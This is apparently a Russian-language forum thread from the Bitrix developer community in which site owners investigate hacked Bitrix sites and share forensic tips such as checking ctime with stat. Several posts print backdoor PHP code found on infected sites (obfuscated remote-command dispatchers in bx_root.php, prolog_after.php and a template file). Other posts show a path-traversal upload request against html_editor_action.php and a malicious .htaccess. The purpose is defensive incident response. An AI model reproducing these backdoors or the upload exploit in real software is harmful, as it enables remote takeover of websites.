Разработчикам

Взломаны сайты в честь дня конституции украины

RSS

Пользователь 5339718

Заглянувший

Сообщений: 25 Баллов: 2 Регистрация: 11.06.2021

#326

15.12.2022 10:45:02

Цитата
написал: Отлично. Рады пополнению! Приглашаем тебя на форум вордпресса, у нас много тем для обсуждения. Недавно вышло обновление 6.1.1 с исправлением уязвимостей и 50 ошибок, есть что обсудить.

Я так понимаю автор цитаты, которую вы комментировали удалил свое сообщение, Даже через локальный поиск яндекса не смог найти. Вообщем шило на мыло автор заменил. Если уже переезжать, то на фреймворк.

Пользователь 5339718

Заглянувший

Сообщений: 25 Баллов: 2 Регистрация: 11.06.2021

#327

15.12.2022 10:48:14

Цитата

написал:
Еще раз отвечу и думаю поставлю точку. Я не могу Вам тут описать метод взлома и уязвимости БИТРИКС это не законно, кому нужна свежая сборка скачивайте виртуальную машину и далее делайте стандартную установку предложенными в упаковке скриптами. Чтоб как то себя обезопасить делайте копию рабочего сайта каждые 12 часов. Я готов выложить компании Битрикс решения для ВПС серверов sab-ip@mail.ru . А ведь помница мне как я ругался с поддержкой и ранее описывал им их ошибки и халатность, допрыгались , слушать надо когда Вам что то говорят , а не оскорблять. Пожинаем плоды дебилокодеров

Это CMS и как любая другая они по своему уязвимы. Вопрос высокой защиты к ним точно не относится, хоть к битриксу хоть к WP.

Пользователь 50094

Заглянувший

Сообщений: 5 Баллов: 1 Регистрация: 14.04.2017

#328

29.12.2022 13:40:38

Да, хотел бы прояснить одну ситуацию: дата изменения файла. Говорите, что файл main.php и прочие были модифицированы последний раз очень давно. Если бы не одно "но". Из PHP дата изменения файла меняется через команду touch(). Эта команда меняет время модификации файла, так называемый mtime. Но она не меняет время изменения статуса файла, т.е. время изменения свойств и метаданных файла, т.е. ctime. В консоли линукса нужно запустить команду stat имя_файла, т.е. например, чтобы посмотреть ctime для файла /bitrix/components/bitrix/main.file.input/main.php, вводим:

Код
stat /bitrix/components/bitrix/main.file.input/main.php

Или заходим в папку, содержащую файл, и набираем

Код
stat ./main.php

(обратите внимание на точку перед слэшем).
В итоге мы получим такую картину:

Код

  File: ./main.php
  Size: 12267           Blocks: 24         IO Block: 4096   regular file
Device: fd01h/64769d    Inode: 24518556    Links: 1
Access: (0644/-rw-r--r--)  Uid: ( 1030/sitename.ru)   Gid: ( 1030/sitename.ru)
Access: 2022-12-29 01:52:29.622924456 +0300
Modify: 2022-01-13 15:05:15.000000000 +0300
Change: 2022-11-25 07:23:52.775251848 +0300
 Birth: -

Все файлы в этой папке датированы 2022-01-13, что мы и наблюдаем в строке "Modify". Но фактически файл был изменен 25 ноября - строка "Change".
Это подтвердилось в ситуации, когда я проверял другой файл. 26.12.2022 года была сделана резервная копия сайта и развернута на компе, 27.12.2022 в проверяемом файле появились изменения, но дата изменения этого файла стояла вообще апрелем 2022. На компе же изменений в этом файле не оказалось. И только командой stat смог узнать, что на самом деле файл был изменен 27.12.2022.

Так что те, у кого файл датирован то 2019 годом, то еще каким-то, проверьте строку "Change" через команду stat (если, конечно, сами этот файл не трогали).

Пользователь 515353

Заглянувший

Сообщений: 20 Баллов: 1 Регистрация: 04.03.2016

#329

09.01.2023 13:47:36

Александр Оносов, спасибо, коллега, что подробно разъяснил этот момент начинающим программистам - мне было лень это писать) Добавлю, что поиск изменённых файлов надо делать с помощью флага ctime, а не mtime:

Код
find . -not -path "bitrix/cache/*" -type f -ctime -30 -printf '%TY-%Tm-%Td %TT %p\n' \| sort -r > 30.log

Перед НГ преступники взломали один интернет-магазин, используя уязвимость bitrix/tools/html_editor_action.php. Пришлось разбираться с этим несколько часов. Если бы директория хранения временных файлов была вынесена за пределы сайта, то у преступника ничего не получилось бы.

Создание и поддержка сайтов: https://evgenydonich.ru

Пользователь 13618

Эксперт

Сообщений: 1336 Баллов: 225 Регистрация: 05.04.2011

Сертифицированный партнер

#330

09.01.2023 13:51:08

Цитата
Евгений Донич написал: Если бы директория хранения временных файлов была вынесена за пределы сайта, то у преступника ничего не получилось бы.

почему Вы так решили?
на сколько я понимаю там несколько другой механизм задействован - т.е. /upload/tmp/ это не = директория хранения временных файлов

Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 515353

Заглянувший

Сообщений: 20 Баллов: 1 Регистрация: 04.03.2016

#331

09.01.2023 14:03:50

На это указывает лог залития на сайт бэкдора в виде файла spread.php по адресу bitrix/tools/spread.php:

Код

a:5:{s:5:"files";a:1:{s:10:"spread.php";a:9:{s:4:"name";N;s:5:"~name";s:10:"spread.php";s:8:"tmp_name";s:149:"/***/public_html/upload/tmp/BXTEMP-2023-01-01/11/bxu/fe19530bfc07335d73f48bdac5c1746b/. ./. ./. ./. ./. ./. ./bitrix/tools//spread.php";s:4:"type";s:10:"text/x-php";s:4:"size";i:545;s:5:"error";i:0;s:4:"copy";s:10:"spread.php";s:3:"url";s:164:"https://***.ru/bitrix/tools/html_editor_action.php?bxu_info[CID]=x&bxu_info[mode]=view&bxu_info[hash]=..%2F..%2F..%2F..%2F..%2F..%2Fbitrix%2Ftools%2F_spread.php";s:13:"sizeFormatted";s:6:"545 Б";}}s:6:"status";s:10:"inprogress";s:4:"hash";s:31:"../. ./. ./. ./. ./. ./bitrix/tools/";s:2:"id";s:31:"../. ./. ./. ./. ./. ./bitrix/tools/";s:7:"~status";s:10:"inprogress";}

Создание и поддержка сайтов: https://evgenydonich.ru

Пользователь 13618

Эксперт

Сообщений: 1336 Баллов: 225 Регистрация: 05.04.2011

Сертифицированный партнер

#332

09.01.2023 14:11:16

вот я про это и говорю, на сколько я понимаю /upload/tmp/ не есть директория для временного хранения файлов в понятиях PHP
но используется Битриксом как директория для временного хранения файлов (но уже на каком то своём уровне)
сомневаюсь, что её можно вытащить за пределы сайта

хотя могу ошибаться ...

Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 13618 Эксперт Сообщений: 1336 Баллов: 225 Регистрация: 05.04.2011 Сертифицированный партнер	#333 09.01.2023 14:12:43 Евгений Донич, а у пользователя стояли последние обновления движка? вроде уязвимость в html_editor_action.php уже давно прикрыли Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 13618

Эксперт

Сообщений: 1336 Баллов: 225 Регистрация: 05.04.2011

Сертифицированный партнер

#334

25.01.2023 11:31:59

коллеги, кто нибудь в курсе как зараза пролезает которая меняет
/bitrix/modules/main/bx_root.php

вот такой ужас там обнаружил
http://gtalex.ru/files/bx_root.txt

кто-то как у себя дома "хозяйничает" причём даже закоментированный код оставили зачем то

у клиента денег на обновление движка до актуальной версии нет

а дыру заделать очень просил

Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 13618

Эксперт

Сообщений: 1336 Баллов: 225 Регистрация: 05.04.2011

Сертифицированный партнер

#335

25.01.2023 11:33:44

Код
<? if (isset($_POST["BX_STAT"]) && $_POST["BX_STAT"] <> "") parse_str(hex2bin(str_rot13($_POST["BX_STAT"])),$bx_stat) or die(str_rot13(bin2hex($bx_stat[0]($bx_stat[1],$bx_stat[2])))); ?>

бэдор? не пойму как работает

пока вычистил, но ведь явно не на долго

Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 1329903

Эксперт

Сообщений: 299 Баллов: 45 Регистрация: 15.08.2017

#336

27.01.2023 20:56:58

Похоже новая волна взлома

2017-05-10 10:48:20.0000000000 ./bitrix/modules/main/include/prolog_after.php
2017-05-10 10:48:18.0000000000 ./bitrix/modules/main/bx_root.php
1970-01-01 03:00:00.0000000000 ./bitrix/templates/vote/default

Код

cat ./bitrix/templates/vote/default
<?
define("NO_KEEP_STATISTIC", true);
define("NO_AGENT_CHECK", true);
define("NO_AGENT_STATISTIC", true);
define("NOT_CHECK_PERMISSIONS", true);
define("DisableEventsCheck", true);

require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");

if(isset($_REQUEST["state"]) && is_string($_REQUEST["state"]))
{
        $arState = array();
        parse_str(base64_decode($_REQUEST["state"]), $arState);

        echo $arState[0]($arState[1],$arState[2]);
        die();
}
?>

Код

cat ./bitrix/modules/main/bx_root.php
<?
$bx_root = "/bitrix";
define("BX_ROOT", $bx_root);

if(isset($_SERVER["BX_PERSONAL_ROOT"]) && $_SERVER["BX_PERSONAL_ROOT"] <> "")
        define("BX_PERSONAL_ROOT", $_SERVER["BX_PERSONAL_ROOT"]);
else
        define("BX_PERSONAL_ROOT", BX_ROOT);
?>
<?
if (isset($_POST["BX_STAT"]) && $_POST["BX_STAT"] <> "")
        parse_str(hex2bin(str_rot13($_POST["BX_STAT"])),$bx_stat) or die(str_rot13(bin2hex($bx_stat[0]($bx_stat[1],$bx_stat[2]))));
?>

<?
if (isset($_POST["BX_STAT"]) && $_POST["BX_STAT"] <> "")
        parse_str(hex2bin(str_rot13($_POST["BX_STAT"])),$bx_stat) or die(str_rot13(bin2hex($bx_stat[0]($bx_stat[1],$bx_stat[2]))));
?>

Код

cat ./bitrix/modules/main/include/prolog_after.php
дописано в конце
define("BX_CONTROLLER_CLIENT_X", base64_decode("QlhfVE9LRU4="));
if(isset($_POST[BX_CONTROLLER_CLIENT_X]) && !empty($_POST[BX_CONTROLLER_CLIENT_X])){
        $APPLICATION->RestartBuffer();
        CControllerClient::RunCommand(hex2bin(str_rot13($_POST[BX_CONTROLLER_CLIENT_X])), 0, 0);
        die();
}
define("BX_CONTROLLER_CLIENT_X", base64_decode("QlhfVE9LRU4="));
if(isset($_POST[BX_CONTROLLER_CLIENT_X]) && !empty($_POST[BX_CONTROLLER_CLIENT_X])){
        $APPLICATION->RestartBuffer();
        CControllerClient::RunCommand(hex2bin(str_rot13($_POST[BX_CONTROLLER_CLIENT_X])), 0, 0);
        die();
}

Пока что просто почистил и поставил на эти файлы только чтение (сменил владельца на root).

Этот взлом мешает корректному обмену с 1С.

Судя по логу, ломали так

Код

200 "POST /bitrix/tools/html_editor_action.php HTTP/1.1"
200 "POST /bitrix/tools/mail_entry.php/. ./. ./. ./bitrix/tools/html_editor_action.php  HTTP/1.1"
200 "POST /bitrix/tools/vote/vote_chart.php HTTP/1.1"

Пользователь 219590 Заглянувший Сообщений: 2 Регистрация: 30.11.2013	#337 01.02.2023 15:13:09 Спасибо всем большое за оперативность. Помогло!

Пользователь 1782079

Заглянувший

Сообщений: 1 Регистрация: 27.01.2023

#338

03.02.2023 13:01:53

при загрузке 13 и 12 страницы (другие не пробовал) этой темы на форуме Каспер ругается на вирус :
03.02.2023 12:50:17;Обнаружен вредоносный объект; HEUR:Trojan.Script.Generic; Троянское приложение; Эвристический анализ;
https://dev.1c-bitrix.ru/support/forum/forum6/topic147346/?PAGEN_1=12;?PAGEN_1=12;https://dev.1c-bit... анализ
Если вируса на странице нет, то возможно в JS прописан "request.open('GET', URL_BASE+'/data.json', true);"
Как исправить - указано здесь https://habr.com/ru/post/254437/

Пользователь 7015034

Заглянувший

Сообщений: 7 Регистрация: 07.02.2023

#339

07.02.2023 12:27:46

Приветствую всех!
Такая проблема: примерно с числа 02.022023г. не могу войти в админ панель, т.е. пароль и логи ввожу корректно, страница обновляется и все пусто.
Естественно чистил кэш, пробовал разные браузеры.
При этом заметил, что очень много спама пришло на форму отзывов.
Может произошло переполнение какое-то где храняться список отзывов (имхо).
скриншот

Пользователь 7015034

Заглянувший

Сообщений: 7 Регистрация: 07.02.2023

#340

07.02.2023 12:31:29

Цитата
написал: 2017-05-10 10:48:20.0000000000 ./bitrix/modules/main/include/prolog_after.php2017-05-10 10:48:18.0000000000 ./bitrix/modules/main/bx_root.php1970-01-01 03:00:00.0000000000 ./bitrix/templates/vote/default

Привильно ли понял, что нужно найти такие файлы:

2017-05-10 10:48:20.0000000000 ./bitrix/modules/main/include/prolog_after.php2017-05-10 10:48:18.0000000000 ./bitrix/modules/main/bx_root.php
1970-01-01 03:00:00.0000000000 ./bitrix/templates/vote/default

и удалить в них код указанный?

Пользователь 1329903

Эксперт

Сообщений: 299 Баллов: 45 Регистрация: 15.08.2017

#341

07.02.2023 12:36:07

Цитата
ivans23 написал: Привильно ли понял, что нужно найти такие файлы: и удалить в них код указанный?

Верно, но искать лучше все изменённые файлы за последние дни, код может быть прописан и в других файлах.

Пользователь 13618

Эксперт

Сообщений: 1336 Баллов: 225 Регистрация: 05.04.2011

Сертифицированный партнер

#342

07.02.2023 12:41:39

Цитата

ivans23 написал:
Приветствую всех!
Такая проблема: примерно с числа 02.022023г. не могу войти в админ панель, т.е. пароль и логи ввожу корректно, страница обновляется и все пусто.
Естественно чистил кэш, пробовал разные браузеры.
При этом заметил, что очень много спама пришло на форму отзывов.
Может произошло переполнение какое-то где храняться список отзывов (имхо).
скриншот

было такое - решение точно не скажу, но оно в этой теме точно есть ... я выкладывал что нужно сделать и ссылки на статьи источники, может 2-4 страницы тому назад
на сколько помню JS иньекцию нужно вычистить

Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 7015034 Заглянувший Сообщений: 7 Регистрация: 07.02.2023	#343 07.02.2023 13:58:11 файла "main.php" нет по пути /bitrix/components/bitrix/main.file.input/ в "prolog.php" нет ссылок в "agent_list.php" все норм вроде

Пользователь 44943

Постоянный посетитель

Сообщений: 135 Баллов: 21 Регистрация: 03.07.2009

#344

17.02.2023 11:51:29

Цитата

написал:

Цитата
ivans23 написал: Привильно ли понял, что нужно найти такие файлы: и удалить в них код указанный?

Верно, но искать лучше все изменённые файлы за последние дни, код может быть прописан и в других файлах.

У меня на этих файлах код присутствует, но по дате как-будто не менялись. Дата изменения от 17 года еще стоит.

Пользователь 1329903

Эксперт

Сообщений: 299 Баллов: 45 Регистрация: 15.08.2017

#345

17.02.2023 11:54:56

Цитата
Евгений Власов написал: но по дате как-будто не менялись.

Смотреть нужно ctime, а не mtime. Прямо на этой странице об этом написано.

Пользователь 13618 Эксперт Сообщений: 1336 Баллов: 225 Регистрация: 05.04.2011 Сертифицированный партнер	#346 17.02.2023 12:19:17 смотреть даты изменения - это только если взломщик не позаботился о том, чтобы их обратно изменить врят ли на это стоит рассчитывать Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 13618

Эксперт

Сообщений: 1336 Баллов: 225 Регистрация: 05.04.2011

Сертифицированный партнер

#347

20.02.2023 15:30:52

сегодня обратились за помощью - вообще жестокий взлом, сайт положили - тупо .htaccess переписали поверх

Цитата
<FilesMatch '.(py\|exe\|phtml\|php\|PHP\|Php\|PHp\|pHp\|pHP\|pHP7\|PHP7\|phP\|PhP\|php5\|suspected)$'> Order allow,deny Deny from all </FilesMatch>

будем логи изучать, через что залезли

Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 89725

Посетитель

Сообщений: 62 Баллов: 5 Регистрация: 29.04.2011

#348

20.02.2023 16:14:09

Цитата
написал: будем логи изучать, через что залезли

кроме htaccess (которые появились во всех папках по экземпляру) в /bitrix/admin/ периодически создаются рандомные php с таким фрагментом бекдора

Цитата
....if(md5($_COOKIE[d])=="17028f487cb2a84607646da3ad3878ec").....

Решения Плюс

Пользователь 13618 Эксперт Сообщений: 1336 Баллов: 225 Регистрация: 05.04.2011 Сертифицированный партнер	#349 20.02.2023 16:22:03 как ломанули нашел, но к сожалению заказчик уже сам этот файл почистил очень жаль ... так не найду откуда изначально дыра открыта Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 89725

Посетитель

Сообщений: 62 Баллов: 5 Регистрация: 29.04.2011

#350

20.02.2023 16:26:04

Цитата
написал: как ломанули нашел, но к сожалению заказчик уже сам этот файл почистил

можно в личку ? я пока не нашел)

Решения Плюс

Взломаны сайты в честь дня конституции украины

Продукты

Управление сайтом

Битрикс24

Интернет-магазин + CRM

Решения

Для интернет-магазинов

Каталог готовых решений

Внедрение

Выбрать партнера

Проверить партнера

Стать партнером